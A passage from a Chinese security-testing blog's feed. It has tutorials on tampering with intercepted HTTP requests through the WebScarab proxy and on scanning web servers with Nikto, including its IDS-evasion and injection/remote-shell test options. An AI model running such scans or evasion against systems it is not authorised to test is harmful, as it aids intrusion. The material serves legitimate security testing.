webscarab工具的主要功能：它可以获取客户端提交至服务器的http请求消息，并以图形化界面显示，支持对http请求信息进行编辑修改。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　原理：webscarab工具采用<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>代理原理，客户端与web服务器之间的http请求与响应都需要经过webscarab进行中转，webscarab将收到的http请求消息进行分析，并将分析结果图形化显示，如下图：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49206" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/11/14982672_201411051130002VImA.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　可以用于验证当客户端对输入有限制时（如长度限制、输入字符集的限制等），可以使用此种方法绕过客户端验证服务端是否对输入有限制。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">1.1.3 工具使用</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　下面将主要介绍如何使用webscarab工具对post请求进行参数篡改</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　1、 &nbsp;运行WebScarab</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　WebScarab有两种显示模式：Lite interface和full-featured interface，可在Tools菜单下进行模式切换，需要重启软件生效，修改http请求信息需要在full-featured interface下进行。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49207" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/11/14982672_201411051130003ITLV.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　2、 &nbsp;点击Proxy标签页-&gt;Manual Edit标签页</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　3、 &nbsp;选中Intercept requests</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　在Methods中列举了http1.1协议所有的请求方法，用来选择过滤，如我们选择了post，那WebScarab只能对post请求的http消息进行篡改。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49208" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/11/14982672_201411051130004fjKJ.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　4、 &nbsp;打开IE浏览器的属性，进入连接》局域网设置，在代理地址中配置host为127.0.0.1或localhost，port为8008</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49209" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/11/14982672_201411051130005XAyX.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-size: 11.8181819915771px; text-align: left;">5、 &nbsp;以上配置便完成了，下面选择一个功能测试一下，以登录为例，打开webScarab工具后，在浏览器中输入需访问的url地址，此时WebSarab会获取到页面的所有请求消息并弹出需要修改的会话框，</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-size: 11.8181819915771px;"><a href="http://www.51testing.com/batch.download.php?aid=49210" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/11/14982672_201411051130006U8g6.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-size: 11.8181819915771px; text-align: left;">　　输入正确信息，点击修改，此时WebScarab会弹出提示框，显示http传递参数信息，可以http请求进行新增、删除和修改参数操作，修改后点击&#8220;Accept changes&#8221;按钮。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-size: 11.8181819915771px;"><a href="http://www.51testing.com/batch.download.php?aid=49211" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/11/14982672_201411051130007fR5g.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-size: 11.8181819915771px; text-align: left;">　　<strong style="word-break: break-all; line-height: normal !important;">1.1.34 &nbsp;使用心得</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-size: 11.8181819915771px; text-align: left;">　　WebScarab是一款很强大的http消息分析工具，它可以让我们清楚地观察到客户端的http请求消息，同时支持对http消息的修改编辑，很适合web安全性篡改表单数据测试。</div></a></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/419572.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-11-06 10:32 <a href="http://www.blogjava.net/qileilove/archive/2014/11/06/419572.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何使用Nikto漏洞扫描工具检测网站安全</title><link>http://www.blogjava.net/qileilove/archive/2014/10/30/419228.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 30 Oct 2014 03:16:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/10/30/419228.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/419228.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/10/30/419228.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/419228.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/419228.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Nikto</strong></u></a>是一款开放源代码的、功能强大的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">WEB</strong></u></a>扫描评估软件，能对web服务器多种安全项目进行<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>的扫描软件，能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题，它可以扫描指定主机的WEB类型、主机名、特定目录、COOKIE、特定CGI漏洞、返回主机允许的 http模式等等。它也使用LibWhiske库，但通常比Whisker更新的更为频繁。Nikto是网管安全人员必备的WEB审计工具之一。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　Nikto最新版本为2.0版，可以去官方下载</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　Nikto是基于PERL开发的程序，所以需要PERL环境。Nikto支持<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a>（使用ActiveState Perl环境）、Mac OSX、多种<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Linux</strong></u></a>&nbsp;或Unix系统。Nikto使用SSL需要Net::SSLeay PERL模式，则必须在Unix平台上安装OpenSSL。具体的可以参考nikto的帮助文档。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　从官方网站上下载nikto-current.tar.gz文件，在Linux系统解压操作：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　tar -xvf nikto-current.tar.gz</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　gzip -d nikto-current.tar</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　解压后的结果如下所示：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　Config.txt、docs、kbase、nikto.pl、plugins、 templates</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Nikto的使用说明：</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　Nikto扫描需要主机目标IP、主机端口。默认扫描的是80端口。扫描主机目标IP地址可以使用选项-h(host)。下面将扫描IP为192.168.0.1的TCP 80端口，如下所示：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　perl nkito.pl &#8211;h 192.168.0.1</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　也可以自定义扫描的端口，可以使用选项-p(port)，下面将扫描IP为192.168.0.1的TCP 443端口，如下所示：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　perl nikto.pl &#8211;h 192.168.0.1 &#8211;p 443</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　Nikto也可以同时扫描多个端口，使用选项-p(port)，可以扫描一段范围（比如：80-90），也可以扫描多个端口（比如：80,88,90）。下面扫描主机的80/88/443端口，如下所示：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　Perl nikto.pl &#8211;h 192.168.0.1 &#8211;p 80,88,443</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　如果运行Nikto的主机是通过HTTP proxy来访问<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">互联网</strong></u></a>的，也可以使用代理来扫描，使用选项-u(useproxy)。下面将通过HTTP proxy来扫描，如下所示：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　Perl nikto.ph &#8211;h 192.168.0.1 &#8211;p 80 &#8211;u</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Nikto的更新：</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　Nikto的升级可以通过-update的命令来更新插件和<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>，如下所示：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　Perl nikto.ph &#8211;update</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　也可以通过从网站下载来更新插件和数据库：[url]http://updates.cirt.net/[/url]</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　Nikto的选项说明：</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　-Cgidirs</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　扫描CGI目录。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　-config</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　使用指定的config文件来替代安装在本地的config.txt文件</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　-dbcheck</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　选择语法错误的扫描数据库。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　-evasion</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">使用LibWhisker中对IDS的躲避技术，可使用以下几种类型：</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　1．随机URL编码（非UTF-8方式）</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　2．自选择路径（/./）</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　3．虚假的请求结束</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　4．长的URL请求</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　5．参数隐藏</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　6．使用TAB作为命令的分隔符</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　7．大小写敏感</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　8．使用Windows路径分隔符\替换/</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　9．会话重组<br /><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　-findonly</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　仅用来发现HTTP和HTTPS端口，而不执行检测规则</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-Format</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　指定检测报告输出文件的格式，默认是txt文件格式（csv/txt/htm）</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-host</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　目标主机，主机名、IP地址、主机列表文件。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-id</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　ID和密码对于授权的HTTP认证。格式：id:password</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-mutate</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　变化猜测技术</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　1.使用所有的root目录测试所有文件</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　2.猜测密码文件名字</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　3.列举Apache的用户名字(/~user)</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　4.列举cgiwrap的用户名字(/cgi-bin/cgiwrap/~user)</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-nolookup</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　不执行主机名查找</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-output</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　报告输出指定地点</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-port</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　扫描端口指定，默认为80端口。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-Pause</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　每次操作之间的延迟时间</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　- Display</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　控制Nikto输出的显示</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　1.直接显示信息</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　2.显示的cookies信息</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　3.显示所有200/OK的反应</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　4.显示认证请求的URLs</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　5.Debug输出</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-ssl</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　强制在端口上使用SSL模式</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-Single</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　执行单个对目标服务的请求操作。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-timeout</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　每个请求的超时时间，默认为10秒</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-Tuning</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　Tuning 选项控制Nikto使用不同的方式来扫描目标。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　0．文件上传</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　1.日志文件</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　2.默认的文件</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　3.信息泄漏</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　4.注射（XSS/Script/HTML）</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　5.远程文件检索（Web 目录中）</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　6.拒绝服务</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　7.远程文件检索（服务器）</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　8.代码执行－远程shell</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　9.SQL注入</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 